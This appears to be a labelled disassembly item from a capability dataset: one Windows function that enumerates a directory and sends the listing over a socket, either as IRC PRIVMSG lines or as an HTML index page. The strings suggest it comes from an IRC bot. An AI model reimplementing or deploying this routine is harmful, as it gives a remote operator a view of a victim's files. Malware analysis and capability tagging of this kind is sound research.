Function at 0x40ab57
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5dc
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x28], 0xe6
mov dword [ebp - 0x2c], 0x96
mov dword [ebp - 0x30], 0x3c
mov dword [ebp - 0x34], 0x1e
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
lea eax, [ebp - 0x494]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 4], 0x43fe20
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
cmp dword [ebp + 0x10], 0
je 0x40abf7
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.PRIVMSG__s_:Searching_for:__s_r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x40ad97
cmp dword [ebp + 0x14], 0
je 0x40ad70
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea edx, [eax - 1]
mov eax, dword [ebp + 8]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._HTML__r_n_HEAD__r_n_TITLE_Index_of__s__TITLE__r_n__HEAD__r_n_BODY__r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._H1_Index_of__s__H1__r_n_TABLE_BORDER_0___r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov byte [eax], 0x2a
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._TR__r_n_TD_WIDTH__d___CODE_Name__CODE___TD__r_n_TD_WIDTH__d___CODE_Last_Modified__CODE___TD__r_n_TD_WIDTH__d__ALIGN_right___CODE_Size__CODE___TD__r_n__TR__r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
mov dword [esp + 8], str._TR__r_n_TD_COLSPAN_3___HR___TD__r_n__TR__r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x40ad97
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.Searching_for:__s_r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
cmp dword [ebp + 0x14], 0
je 0x40ae95
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp eax, 2
jbe 0x40ae95
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
sub eax, 3
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40ae17
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x24]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x2f
je 0x40ae16
sub dword [ebp - 0x24], 1
jmp 0x40adfb
nop
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x494]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
lea eax, [ebp - 0x494]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._TR__r_n_TD_COLSPAN_3___A_HREF__s___CODE_Parent_Directory__CODE___A___TD__r_n__TR__r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
lea eax, [ebp - 0x190]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call eax
sub esp, 8
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x190]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileA]
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x40b535
mov eax, dword [ebp - 0x190]
test eax, eax
je 0x40aeb2
mov dword [esp + 4], 0x440047
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x40aeb2
mov dword [esp + 4], 0x44004a
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x40aeb2
lea eax, [ebp - 0x40]
mov dword [esp + 4], eax
lea eax, [ebp - 0x190]
add eax, 0x14
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call eax
sub esp, 8
lea eax, [ebp - 0x50]
mov dword [esp + 4], eax
lea eax, [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call eax
sub esp, 8
movzx eax, word [ebp - 0x48]
movzx eax, ax
cmp eax, 0xc
jle 0x40af64
mov edi, 0x44004c
jmp 0x40af69
mov edi, 0x44004f
movzx eax, word [ebp - 0x46]
movzx esi, ax
movzx eax, word [ebp - 0x48]
movzx eax, ax
cmp eax, 0xc
jle 0x40af88
movzx eax, word [ebp - 0x48]
movzx eax, ax
sub eax, 0xc
jmp 0x40af8f
movzx eax, word [ebp - 0x48]
movzx eax, ax
movzx edx, word [ebp - 0x50]
movzx ebx, dx
movzx edx, word [ebp - 0x4a]
movzx ecx, dx
movzx edx, word [ebp - 0x4e]
movzx edx, dx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], str._2.2d__2.2d__4d___2.2d:_2.2d__s
lea eax, [ebp - 0x4bc]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x190]
and eax, 0x10
test eax, eax
je 0x40b273
add dword [ebp - 0x20], 1
cmp dword [ebp + 0x10], 0
je 0x40b05a
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x440074
mov dword [esp + 4], 0x106
lea eax, [ebp - 0x5c2]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
lea eax, [ebp - 0x4bc]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x5c2]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.PRIVMSG__s_:__31s____21s_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x40b4e0
cmp dword [ebp + 0x14], 0
je 0x40b20d
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._TR__r_n_TD_WIDTH__d___A_HREF_
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s_
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp eax, dword [ebp - 0x34]
jbe 0x40b16e
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.___CODE__.29sgt____CODE___A_
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x40b19b
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.___CODE__s___CODE___A_
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x4bc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.__TD__r_n_TD_WIDTH__d___CODE__s__CODE___TD__r_n_TD_WIDTH__d__ALIGN_right___CODE____CODE___TD__r_n__TR__r_n
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x40b4e0
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x440074
mov dword [esp + 4], 0x106
lea eax, [ebp - 0x5c2]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
lea eax, [ebp - 0x4bc]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x5c2]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.__31s____21s_r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x40b4e0
add dword [ebp - 0x1c], 1
cmp dword [ebp + 0x10], 0
je 0x40b2db
mov eax, dword [ebp - 0x170]
mov edx, 0
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00407d59
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x4bc]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.PRIVMSG__s_:__31s____21s___s_bytes__n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x40b4e0
cmp dword [ebp + 0x14], 0
je 0x40b49f
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._TR__r_n_TD_WIDTH__d___A_HREF_
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x43fe1b
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov eax, dword [ebp - 0x34]
add eax, 1
cmp edx, eax
jbe 0x40b3f6
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.___CODE__.30sgt___CODE___A_
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x40b423
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.___CODE__s__CODE___A_
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
mov eax, dword [ebp - 0x170]
shr eax, 0xa
mov dword [esp + 0x18], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x4bc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.__TD__r_n_TD_WIDTH__d___CODE__s__CODE___TD__r_n_TD_WIDTH__d__ALIGN_right___CODE__dk__CODE___TD__r_n__TR__r_n
mov dword [esp + 4], 0x1ff
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x40b4e0
mov eax, dword [ebp - 0x170]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x4bc]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x190]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.__31s____21s___i_bytes__r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x390]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
cmp dword [ebp + 0x10], 0
je 0x40aeb2
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x40aeb2
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindClose]
call eax
sub esp, 4
cmp dword [ebp + 0x10], 0
je 0x40b594
mov eax, dword [ebp - 0x20]
cdq
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00407d59
mov ebx, eax
mov eax, dword [ebp - 0x1c]
cdq
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00407d59
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:Found__s_Files_and__s_Directories_n
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
jmp 0x40b5e7
cmp dword [ebp + 0x14], 0
je 0x40b5c3
lea eax, [ebp - 0x390]
mov edx, eax
mov eax, str._TR__r_n_TD_COLSPAN_3___HR___TD__r_n__TR__r_n__TABLE__r_n__BODY__r_n__HTML__r_n
mov ecx, 0x11
mov edi, edx
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov eax, esi
mov edx, edi
movzx ecx, byte [eax]
mov byte [edx], cl
lea edx, [edx + 1]
lea eax, [eax + 1]
jmp 0x40b5e7
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Found:__i_Files_and__i_Directories_r_n
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov ebx, dword [0x44edcc]
lea eax, [ebp - 0x390]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call ebx
sub esp, 0x10
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret